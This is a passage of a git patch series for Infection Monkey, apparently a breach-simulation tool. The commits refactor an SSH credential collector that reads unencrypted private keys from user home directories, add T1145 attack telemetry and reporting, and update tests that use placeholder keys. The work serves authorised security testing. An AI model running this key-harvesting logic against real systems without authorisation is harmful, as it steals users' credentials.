patch_ssh_handler(ssh_creds, monkeypatch) # Expected credentials username = Username("ubuntu") username2 = Username("mcus") + username3 = Username("guest") ssh_keypair1 = SSHKeypair( - { - "public_key": "SomePublicKeyUbuntu", - "private_key": "ExtremelyGoodPrivateKey", - "known_hosts": "MuchKnownHosts", - } + {"public_key": "SomePublicKeyUbuntu", "private_key": "ExtremelyGoodPrivateKey"} ) ssh_keypair2 = SSHKeypair( {"public_key": "AnotherPublicKey", "private_key": "NotSoGoodPrivateKey"} ) - ssh_keypair3 = SSHKeypair({"known_hosts": "VeryGoodHosts"}) expected = [ Credentials(identities=[username], secrets=[ssh_keypair1]), Credentials(identities=[username2], secrets=[ssh_keypair2]), - Credentials(identities=[], secrets=[ssh_keypair3]), + Credentials(identities=[username3], secrets=[]), ] collected = SSHCollector().collect_credentials() assert expected == collected From 6b64b655cec4c7b931ce131e76c607e04e33d5ad Mon Sep 17 00:00:00 2001 From: Ilija Lazoroski Date: Wed, 16 Feb 2022 15:40:14 +0100 Subject: [PATCH 04/10] Agent: Add T1145 attack telemetry --- .../ssh_collector/ssh_handler.py | 4 +++ .../telemetry/attack/t1145_telem.py | 19 +++++++++++++ .../telemetry/attack/test_t1145_telem.py | 28 +++++++++++++++++++ 3 files changed, 51 insertions(+) create mode 100644 monkey/infection_monkey/telemetry/attack/t1145_telem.py create mode 100644 monkey/tests/unit_tests/infection_monkey/telemetry/attack/test_t1145_telem.py diff --git a/monkey/infection_monkey/credential_collectors/ssh_collector/ssh_handler.py b/monkey/infection_monkey/credential_collectors/ssh_collector/ssh_handler.py index 2133bd7ae..a204550f5 100644 --- a/monkey/infection_monkey/credential_collectors/ssh_collector/ssh_handler.py +++ b/monkey/infection_monkey/credential_collectors/ssh_collector/ssh_handler.py @@ -6,6 +6,7 @@ from typing import Dict, Iterable from common.utils.attack_utils import ScanStatus from infection_monkey.telemetry.attack.t1005_telem import T1005Telem +from infection_monkey.telemetry.attack.t1145_telem import T1145Telem logger = logging.getLogger(__name__) @@ -81,6 +82,9 @@ def _get_ssh_files(usr_info: Iterable[Dict]) -> Iterable[Dict]: T1005Telem( ScanStatus.USED, "SSH key", "Path: %s" % private ).send() + T1145Telem( + ScanStatus.USED, info["name"], info["home_dir"] + ).send() else: continue except (IOError, OSError): diff --git a/monkey/infection_monkey/telemetry/attack/t1145_telem.py b/monkey/infection_monkey/telemetry/attack/t1145_telem.py new file mode 100644 index 000000000..55f41d6a0 --- /dev/null +++ b/monkey/infection_monkey/telemetry/attack/t1145_telem.py @@ -0,0 +1,19 @@ +from infection_monkey.telemetry.attack.attack_telem import AttackTelem + + +class T1145Telem(AttackTelem): + def __init__(self, status, name, home_dir): + """ + T1145 telemetry. + :param status: ScanStatus of technique + :param name: Username from which ssh keypair is taken + :param home_dir: Home directory where we found the ssh keypair + """ + super(T1145Telem, self).__init__("T1145", status) + self.name = name + self.home_dir = home_dir + + def get_data(self): + data = super(T1145Telem, self).get_data() + data.update({"name": self.name, "home_dir": self.home_dir}) + return data diff --git a/monkey/tests/unit_tests/infection_monkey/telemetry/attack/test_t1145_telem.py b/monkey/tests/unit_tests/infection_monkey/telemetry/attack/test_t1145_telem.py new file mode 100644 index 000000000..2125b6479 --- /dev/null +++ b/monkey/tests/unit_tests/infection_monkey/telemetry/attack/test_t1145_telem.py @@ -0,0 +1,28 @@ +import json + +import pytest + +from common.utils.attack_utils import ScanStatus +from infection_monkey.telemetry.attack.t1145_telem import T1145Telem + +NAME = "ubuntu" +HOME_DIR = "/home/ubuntu" +STATUS = ScanStatus.USED + + +@pytest.fixture +def T1145_telem_test_instance(): + return T1145Telem(STATUS, NAME, HOME_DIR) + + +def test_T1145_send(T1145_telem_test_instance, spy_send_telemetry): + T1145_telem_test_instance.send() + expected_data = { + "status": STATUS.value, + "technique": "T1145", + "name": NAME, + "home_dir": HOME_DIR, + } + expected_data = json.dumps(expected_data, cls=T1145_telem_test_instance.json_encoder) + assert spy_send_telemetry.data == expected_data + assert spy_send_telemetry.telem_category == "attack" From 3d64d0d2e4994a5cdac3508af22b0665448913cc Mon Sep 17 00:00:00 2001 From: Ilija Lazoroski Date: Wed, 16 Feb 2022 15:42:17 +0100 Subject: [PATCH 05/10] Island: Refactor T1145 report according to the attack telemetry --- .../attack/technique_reports/T1145.py | 36 +++++++++++++++---- .../src/components/attack/techniques/T1145.js | 16 ++++----- 2 files changed, 38 insertions(+), 14 deletions(-) diff --git a/monkey/monkey_island/cc/services/attack/technique_reports/T1145.py b/monkey/monkey_island/cc/services/attack/technique_reports/T1145.py index ec22a19ef..6d99a768c 100644 --- a/monkey/monkey_island/cc/services/attack/technique_reports/T1145.py +++ b/monkey/monkey_island/cc/services/attack/technique_reports/T1145.py @@ -1,7 +1,11 @@ +import logging + from common.utils.attack_utils import ScanStatus from monkey_island.cc.database import mongo from monkey_island.cc.services.attack.technique_reports import AttackTechnique +logger = logging.getLogger(__name__) + class T1145(AttackTechnique): tech_id = "T1145" @@ -12,19 +16,39 @@ class T1145(AttackTechnique): # Gets data about ssh keys found query = [ + {"$match": {"telem_category": "attack", "data.technique": tech_id}}, { - "$match": { - "telem_category": "system_info", - "data.ssh_info": {"$elemMatch": {"private_key": {"$exists": True}}}, + "$lookup": { + "from": "monkey", + "localField": "monkey_guid", + "foreignField": "guid", + "as": "monkey", } }, { "$project": { - "_id": 0, - "machine": {"hostname": "$data.hostname", "ips": "$data.network_info.networks"}, - "ssh_info": "$data.ssh_info", + "monkey": {"$arrayElemAt": ["$monkey", 0]}, + "status": "$data.status", + "name": "$data.name", + "home_dir": "$data.home_dir", } }, + { + "$addFields": { + "_id": 0, + "machine": {"hostname": "$monkey.hostname", "ips": "$monkey.ip_addresses"}, + "monkey": 0, + } + }, + { + "$group": { + "_id": { + "machine": "$machine", + "ssh_info": {"name": "$name", "home_dir": "$home_dir"}, + } + } + }, + {"$replaceRoot": {"newRoot": "$_id"}}, ] @staticmethod diff --git a/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1145.js b/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1145.js index 1bdd2a857..b8ba925e8 100644 --- a/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1145.js +++ b/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1145.js @@ -10,13 +10,13 @@ class T1145 extends React.Component { super(props); } - static renderSSHKeys(keys) { - let output = []; - keys.forEach(function (keyInfo) { - output.push(
- SSH key pair used by {keyInfo['name']} user found in {keyInfo['home_dir']}
) - }); - return (
{output}
); + static renderSSHKey(key) { + return ( +
+
+ SSH key pair used by {key['name']} user found in {key['home_dir']} +
+
); } static getKeysInfoColumns() { @@ -31,7 +31,7 @@ class T1145 extends React.Component { { Header: 'Keys found', id: 'keys', - accessor: x => T1145.renderSSHKeys(x.ssh_info), + accessor: x => T1145.renderSSHKey(x.ssh_info), style: {'whiteSpace': 'unset'} } ] From b1b0840aedeec8999ddf84cd88c8a5ba261579c5 Mon Sep 17 00:00:00 2001 From: Ilija Lazoroski Date: Wed, 16 Feb 2022 17:28:11 +0100 Subject: [PATCH 06/10] Agent: Rename SSH credentials collector to match class name --- ...llector.py => ssh_credential_collector.py} | 22 +++++++++---------- 1 file changed, 11 insertions(+), 11 deletions(-) rename monkey/infection_monkey/credential_collectors/ssh_collector/{SSH_credentials_collector.py => ssh_credential_collector.py} (60%) diff --git a/monkey/infection_monkey/credential_collectors/ssh_collector/SSH_credentials_collector.py b/monkey/infection_monkey/credential_collectors/ssh_collector/ssh_credential_collector.py similarity index 60% rename from monkey/infection_monkey/credential_collectors/ssh_collector/SSH_credentials_collector.py rename to monkey/infection_monkey/credential_collectors/ssh_collector/ssh_credential_collector.py index bf56db757..85a9c505a 100644 --- a/monkey/infection_monkey/credential_collectors/ssh_collector/SSH_credentials_collector.py +++ b/monkey/infection_monkey/credential_collectors/ssh_collector/ssh_credential_collector.py @@ -2,37 +2,37 @@ import logging from typing import Dict, Iterable, List from infection_monkey.credential_collectors import ( - Credentials, - ICredentialCollector, SSHKeypair, Username, ) +from infection_monkey.i_puppet.credential_collection import Credentials, ICredentialCollector from infection_monkey.credential_collectors.ssh_collector import ssh_handler logger = logging.getLogger(__name__) -class SSHCollector(ICredentialCollector): +class SSHCredentialCollector(ICredentialCollector): """ - SSH keys and known hosts collection module + SSH keys credential collector """ def collect_credentials(self, _options=None) -> List[Credentials]: logger.info("Started scanning for SSH credentials") ssh_info = ssh_handler.get_ssh_info() - logger.info("Scanned for SSH credentials") + logger.info("Finished scanning for SSH credentials") - return SSHCollector._to_credentials(ssh_info) + return SSHCredentialCollector._to_credentials(ssh_info) @staticmethod def _to_credentials(ssh_info: Iterable[Dict]) -> List[Credentials]: ssh_credentials = [] + identities = [] + secrets = [] for info in ssh_info: - credentials_obj = Credentials(identities=[], secrets=[]) if "name" in info and info["name"] != "": - credentials_obj.identities.append(Username(info["name"])) + identities.append(Username(info["name"])) ssh_keypair = {} for key in ["public_key", "private_key"]: @@ -40,9 +40,9 @@ class SSHCollector(ICredentialCollector): ssh_keypair[key] = info[key] if len(ssh_keypair): - credentials_obj.secrets.append(SSHKeypair(ssh_keypair)) + secrets.append(SSHKeypair(ssh_keypair)) - if credentials_obj.identities != [] or credentials_obj.secrets != []: - ssh_credentials.append(credentials_obj) + if identities != [] or secrets != []: + ssh_credentials.append(Credentials(identities, secrets)) return ssh_credentials From a97b8706ec39fb7192a9a78a91b1481c3e051129 Mon Sep 17 00:00:00 2001 From: Ilija Lazoroski Date: Wed, 16 Feb 2022 17:29:21 +0100 Subject: [PATCH 07/10] Agent: Add SSH keypair credential type --- .../credential_components/ssh_keypair.py | 9 +++++++++ .../i_puppet/credential_collection/credential_type.py | 1 + 2 files changed, 10 insertions(+) create mode 100644 monkey/infection_monkey/credential_collectors/credential_components/ssh_keypair.py diff --git a/monkey/infection_monkey/credential_collectors/credential_components/ssh_keypair.py b/monkey/infection_monkey/credential_collectors/credential_components/ssh_keypair.py new file mode 100644 index 000000000..c23833681 --- /dev/null +++ b/monkey/infection_monkey/credential_collectors/credential_components/ssh_keypair.py @@ -0,0 +1,9 @@ +from dataclasses import dataclass, field + +from infection_monkey.i_puppet import CredentialType, ICredentialComponent + + +@dataclass(frozen=True) +class SSHKeypair(ICredentialComponent): + credential_type: CredentialType = field(default=CredentialType.SSH_KEYPAIR, init=False) + content: dict diff --git a/monkey/infection_monkey/i_puppet/credential_collection/credential_type.py b/monkey/infection_monkey/i_puppet/credential_collection/credential_type.py index 98e6c0097..ef00f3732 100644 --- a/monkey/infection_monkey/i_puppet/credential_collection/credential_type.py +++ b/monkey/infection_monkey/i_puppet/credential_collection/credential_type.py @@ -6,3 +6,4 @@ class CredentialType(Enum): PASSWORD = 2 NT_HASH = 3 LM_HASH = 4 + SSH_KEYPAIR = 5 From 63d632d142e9c5504f4c701ef6242ed5a257c673 Mon Sep 17 00:00:00 2001 From: Ilija Lazoroski Date: Wed, 16 Feb 2022 17:37:12 +0100 Subject: [PATCH 08/10] Agent: Rework ssh credential collector to match credential architecture * Parametrize empty result unit test * Apply small changes to ssh credential collector --- .../credential_collectors/__init__.py | 1 + .../ssh_collector/__init__.py | 2 +- .../ssh_collector/ssh_credential_collector.py | 15 ++++------ .../test_ssh_credentials_collector.py | 28 +++++++++---------- 4 files changed, 21 insertions(+), 25 deletions(-) diff --git a/monkey/infection_monkey/credential_collectors/__init__.py b/monkey/infection_monkey/credential_collectors/__init__.py index a9d22a4c4..a5d48e466 100644 --- a/monkey/infection_monkey/credential_collectors/__init__.py +++ b/monkey/infection_monkey/credential_collectors/__init__.py @@ -2,4 +2,5 @@ from .credential_components.nt_hash import NTHash from .credential_components.lm_hash import LMHash from .credential_components.password import Password from .credential_components.username import Username +from .credential_components.ssh_keypair import SSHKeypair from .mimikatz_collector import MimikatzCredentialCollector diff --git a/monkey/infection_monkey/credential_collectors/ssh_collector/__init__.py b/monkey/infection_monkey/credential_collectors/ssh_collector/__init__.py index adc6a2dc5..d89d836f8 100644 --- a/monkey/infection_monkey/credential_collectors/ssh_collector/__init__.py +++ b/monkey/infection_monkey/credential_collectors/ssh_collector/__init__.py @@ -1 +1 @@ -from .SSH_credentials_collector import SSHCollector +from .ssh_credential_collector import SSHCredentialCollector diff --git a/monkey/infection_monkey/credential_collectors/ssh_collector/ssh_credential_collector.py b/monkey/infection_monkey/credential_collectors/ssh_collector/ssh_credential_collector.py index 85a9c505a..aa9a52b72 100644 --- a/monkey/infection_monkey/credential_collectors/ssh_collector/ssh_credential_collector.py +++ b/monkey/infection_monkey/credential_collectors/ssh_collector/ssh_credential_collector.py @@ -1,12 +1,9 @@ import logging from typing import Dict, Iterable, List -from infection_monkey.credential_collectors import ( - SSHKeypair, - Username, -) -from infection_monkey.i_puppet.credential_collection import Credentials, ICredentialCollector +from infection_monkey.credential_collectors import SSHKeypair, Username from infection_monkey.credential_collectors.ssh_collector import ssh_handler +from infection_monkey.i_puppet.credential_collection import Credentials, ICredentialCollector logger = logging.getLogger(__name__) @@ -26,17 +23,17 @@ class SSHCredentialCollector(ICredentialCollector): @staticmethod def _to_credentials(ssh_info: Iterable[Dict]) -> List[Credentials]: ssh_credentials = [] - identities = [] - secrets = [] for info in ssh_info: + identities = [] + secrets = [] - if "name" in info and info["name"] != "": + if info.get("name", ""): identities.append(Username(info["name"])) ssh_keypair = {} for key in ["public_key", "private_key"]: - if key in info and info.get(key) is not None: + if info.get(key) is not None: ssh_keypair[key] = info[key] if len(ssh_keypair): diff --git a/monkey/tests/unit_tests/infection_monkey/credential_collectors/linux_credentials_collector/test_ssh_credentials_collector.py b/monkey/tests/unit_tests/infection_monkey/credential_collectors/linux_credentials_collector/test_ssh_credentials_collector.py index 45aff0878..a19434282 100644 --- a/monkey/tests/unit_tests/infection_monkey/credential_collectors/linux_credentials_collector/test_ssh_credentials_collector.py +++ b/monkey/tests/unit_tests/infection_monkey/credential_collectors/linux_credentials_collector/test_ssh_credentials_collector.py @@ -1,5 +1,8 @@ -from infection_monkey.credential_collectors import Credentials, SSHKeypair, Username -from infection_monkey.credential_collectors.ssh_collector import SSHCollector +import pytest + +from infection_monkey.credential_collectors import SSHKeypair, Username +from infection_monkey.credential_collectors.ssh_collector import SSHCredentialCollector +from infection_monkey.i_puppet.credential_collection import Credentials def patch_ssh_handler(ssh_creds, monkeypatch): @@ -9,16 +12,13 @@ def patch_ssh_handler(ssh_creds, monkeypatch): ) -def test_ssh_credentials_empty_results(monkeypatch): - patch_ssh_handler([], monkeypatch) - collected = SSHCollector().collect_credentials() - assert [] == collected - - ssh_creds = [{"name": "", "home_dir": "", "public_key": None, "private_key": None}] +@pytest.mark.parametrize( + "ssh_creds", [([{"name": "", "home_dir": "", "public_key": None, "private_key": None}]), ([])] +) +def test_ssh_credentials_empty_results(monkeypatch, ssh_creds): patch_ssh_handler(ssh_creds, monkeypatch) - expected = [] - collected = SSHCollector().collect_credentials() - assert expected == collected + collected = SSHCredentialCollector().collect_credentials() + assert not collected def test_ssh_info_result_parsing(monkeypatch): @@ -48,14 +48,12 @@ def test_ssh_info_result_parsing(monkeypatch): ssh_keypair1 = SSHKeypair( {"public_key": "SomePublicKeyUbuntu", "private_key": "ExtremelyGoodPrivateKey"} ) - ssh_keypair2 = SSHKeypair( - {"public_key": "AnotherPublicKey", "private_key": "NotSoGoodPrivateKey"} - ) + ssh_keypair2 = SSHKeypair({"public_key": "AnotherPublicKey"}) expected = [ Credentials(identities=[username], secrets=[ssh_keypair1]), Credentials(identities=[username2], secrets=[ssh_keypair2]), Credentials(identities=[username3], secrets=[]), ] - collected = SSHCollector().collect_credentials() + collected = SSHCredentialCollector().collect_credentials() assert expected == collected From 5f8e3e3d8e19df126e2f5809c0d74e9c60014646 Mon Sep 17 00:00:00 2001 From: Ilija Lazoroski Date: Wed, 16 Feb 2022 18:23:29 +0100 Subject: [PATCH 09/10] Agent: Use Telemetry messenger to send SSH collector telemetries --- .../ssh_collector/ssh_credential_collector.py | 6 ++++- .../ssh_collector/ssh_handler.py | 25 ++++++++++++------- .../test_ssh_credentials_collector.py | 17 +++++++++---- 3 files changed, 33 insertions(+), 15 deletions(-) diff --git a/monkey/infection_monkey/credential_collectors/ssh_collector/ssh_credential_collector.py b/monkey/infection_monkey/credential_collectors/ssh_collector/ssh_credential_collector.py index aa9a52b72..bdcc56098 100644 --- a/monkey/infection_monkey/credential_collectors/ssh_collector/ssh_credential_collector.py +++ b/monkey/infection_monkey/credential_collectors/ssh_collector/ssh_credential_collector.py @@ -4,6 +4,7 @@ from typing import Dict, Iterable, List from infection_monkey.credential_collectors import SSHKeypair, Username from infection_monkey.credential_collectors.ssh_collector import ssh_handler from infection_monkey.i_puppet.credential_collection import Credentials, ICredentialCollector +from infection_monkey.telemetry.messengers.i_telemetry_messenger import ITelemetryMessenger logger = logging.getLogger(__name__) @@ -13,9 +14,12 @@ class SSHCredentialCollector(ICredentialCollector): SSH keys credential collector """ + def __init__(self, telemetry_messenger: ITelemetryMessenger): + self._telemetry_messenger = telemetry_messenger + def collect_credentials(self, _options=None) -> List[Credentials]: logger.info("Started scanning for SSH credentials") - ssh_info = ssh_handler.get_ssh_info() + ssh_info = ssh_handler.get_ssh_info(self._telemetry_messenger) logger.info("Finished scanning for SSH credentials") return SSHCredentialCollector._to_credentials(ssh_info) diff --git a/monkey/infection_monkey/credential_collectors/ssh_collector/ssh_handler.py b/monkey/infection_monkey/credential_collectors/ssh_collector/ssh_handler.py index a204550f5..8c635d92b 100644 --- a/monkey/infection_monkey/credential_collectors/ssh_collector/ssh_handler.py +++ b/monkey/infection_monkey/credential_collectors/ssh_collector/ssh_handler.py @@ -7,15 +7,16 @@ from typing import Dict, Iterable from common.utils.attack_utils import ScanStatus from infection_monkey.telemetry.attack.t1005_telem import T1005Telem from infection_monkey.telemetry.attack.t1145_telem import T1145Telem +from infection_monkey.telemetry.messengers.i_telemetry_messenger import ITelemetryMessenger logger = logging.getLogger(__name__) DEFAULT_DIRS = ["/.ssh/", "/"] -def get_ssh_info() -> Iterable[Dict]: +def get_ssh_info(telemetry_messenger: ITelemetryMessenger) -> Iterable[Dict]: home_dirs = _get_home_dirs() - ssh_info = _get_ssh_files(home_dirs) + ssh_info = _get_ssh_files(home_dirs, telemetry_messenger) return ssh_info @@ -51,7 +52,9 @@ def _get_ssh_struct(name: str, home_dir: str) -> Dict: } -def _get_ssh_files(usr_info: Iterable[Dict]) -> Iterable[Dict]: +def _get_ssh_files( + usr_info: Iterable[Dict], telemetry_messenger: ITelemetryMessenger +) -> Iterable[Dict]: for info in usr_info: path = info["home_dir"] for directory in DEFAULT_DIRS: @@ -79,12 +82,16 @@ def _get_ssh_files(usr_info: Iterable[Dict]) -> Iterable[Dict]: if private_key.find("ENCRYPTED") == -1: info["private_key"] = private_key logger.info("Found private key in %s" % private) - T1005Telem( - ScanStatus.USED, "SSH key", "Path: %s" % private - ).send() - T1145Telem( - ScanStatus.USED, info["name"], info["home_dir"] - ).send() + telemetry_messenger.send_telemetry( + T1005Telem( + ScanStatus.USED, "SSH key", "Path: %s" % private + ) + ) + telemetry_messenger.send_telemetry( + T1145Telem( + ScanStatus.USED, info["name"], info["home_dir"] + ) + ) else: continue except (IOError, OSError): diff --git a/monkey/tests/unit_tests/infection_monkey/credential_collectors/linux_credentials_collector/test_ssh_credentials_collector.py b/monkey/tests/unit_tests/infection_monkey/credential_collectors/linux_credentials_collector/test_ssh_credentials_collector.py index a19434282..2762892bf 100644 --- a/monkey/tests/unit_tests/infection_monkey/credential_collectors/linux_credentials_collector/test_ssh_credentials_collector.py +++ b/monkey/tests/unit_tests/infection_monkey/credential_collectors/linux_credentials_collector/test_ssh_credentials_collector.py @@ -1,3 +1,5 @@ +from unittest.mock import MagicMock + import pytest from infection_monkey.credential_collectors import SSHKeypair, Username @@ -5,23 +7,28 @@ from infection_monkey.credential_collectors.ssh_collector import SSHCredentialCo from infection_monkey.i_puppet.credential_collection import Credentials +@pytest.fixture +def patch_telemetry_messenger(): + return MagicMock() + + def patch_ssh_handler(ssh_creds, monkeypatch): monkeypatch.setattr( "infection_monkey.credential_collectors.ssh_collector.ssh_handler.get_ssh_info", - lambda: ssh_creds, + lambda _: ssh_creds, ) @pytest.mark.parametrize( "ssh_creds", [([{"name": "", "home_dir": "", "public_key": None, "private_key": None}]), ([])] ) -def test_ssh_credentials_empty_results(monkeypatch, ssh_creds): +def test_ssh_credentials_empty_results(monkeypatch, ssh_creds, patch_telemetry_messenger): patch_ssh_handler(ssh_creds, monkeypatch) - collected = SSHCredentialCollector().collect_credentials() + collected = SSHCredentialCollector(patch_telemetry_messenger).collect_credentials() assert not collected -def test_ssh_info_result_parsing(monkeypatch): +def test_ssh_info_result_parsing(monkeypatch, patch_telemetry_messenger): ssh_creds = [ { @@ -55,5 +62,5 @@ def test_ssh_info_result_parsing(monkeypatch): Credentials(identities=[username2], secrets=[ssh_keypair2]), Credentials(identities=[username3], secrets=[]), ] - collected = SSHCredentialCollector().collect_credentials() + collected = SSHCredentialCollector(patch_telemetry_messenger).collect_credentials() assert expected == collected From 897bc11d7b2c6b47be7bb3fe387e04cd265a62cc Mon Sep 17 00:00:00 2001 From: Ilija Lazoroski Date: Wed, 16 Feb 2022 18:37:16 +0100 Subject: [PATCH 10/10] Agent: Use distinct fields for SSH Keypair --- .../credential_components/ssh_keypair.py | 3 ++- .../ssh_collector/ssh_credential_collector.py | 6 +++++- .../test_ssh_credentials_collector.py | 6 ++---- 3 files changed, 9 insertions(+), 6 deletions(-) diff --git a/monkey/infection_monkey/credential_collectors/credential_components/ssh_keypair.py b/monkey/infection_monkey/credential_collectors/credential_components/ssh_keypair.py index c23833681..c5f377c44 100644 --- a/monkey/infection_monkey/credential_collectors/credential_components/ssh_keypair.py +++ b/monkey/infection_monkey/credential_collectors/credential_components/ssh_keypair.py @@ -6,4 +6,5 @@ from infection_monkey.i_puppet import CredentialType, ICredentialComponent @dataclass(frozen=True) class SSHKeypair(ICredentialComponent): credential_type: CredentialType = field(default=CredentialType.SSH_KEYPAIR, init=False) - content: dict + private_key: str + public_key: str diff --git a/monkey/infection_monkey/credential_collectors/ssh_collector/ssh_credential_collector.py b/monkey/infection_monkey/credential_collectors/ssh_collector/ssh_credential_collector.py index bdcc56098..ce64221fb 100644 --- a/monkey/infection_monkey/credential_collectors/ssh_collector/ssh_credential_collector.py +++ b/monkey/infection_monkey/credential_collectors/ssh_collector/ssh_credential_collector.py @@ -41,7 +41,11 @@ class SSHCredentialCollector(ICredentialCollector): ssh_keypair[key] = info[key] if len(ssh_keypair): - secrets.append(SSHKeypair(ssh_keypair)) + secrets.append( + SSHKeypair( + ssh_keypair.get("private_key", ""), ssh_keypair.get("public_key", "") + ) + ) if identities != [] or secrets != []: ssh_credentials.append(Credentials(identities, secrets)) diff --git a/monkey/tests/unit_tests/infection_monkey/credential_collectors/linux_credentials_collector/test_ssh_credentials_collector.py b/monkey/tests/unit_tests/infection_monkey/credential_collectors/linux_credentials_collector/test_ssh_credentials_collector.py index 2762892bf..3727f8698 100644 --- a/monkey/tests/unit_tests/infection_monkey/credential_collectors/linux_credentials_collector/test_ssh_credentials_collector.py +++ b/monkey/tests/unit_tests/infection_monkey/credential_collectors/linux_credentials_collector/test_ssh_credentials_collector.py @@ -52,10 +52,8 @@ def test_ssh_info_result_parsing(monkeypatch, patch_telemetry_messenger): username2 = Username("mcus") username3 = Username("guest") - ssh_keypair1 = SSHKeypair( - {"public_key": "SomePublicKeyUbuntu", "private_key": "ExtremelyGoodPrivateKey"} - ) - ssh_keypair2 = SSHKeypair({"public_key": "AnotherPublicKey"}) + ssh_keypair1 = SSHKeypair("ExtremelyGoodPrivateKey", "SomePublicKeyUbuntu") + ssh_keypair2 = SSHKeypair("", "AnotherPublicKey") expected = [ Credentials(identities=[username], secrets=[ssh_keypair1]),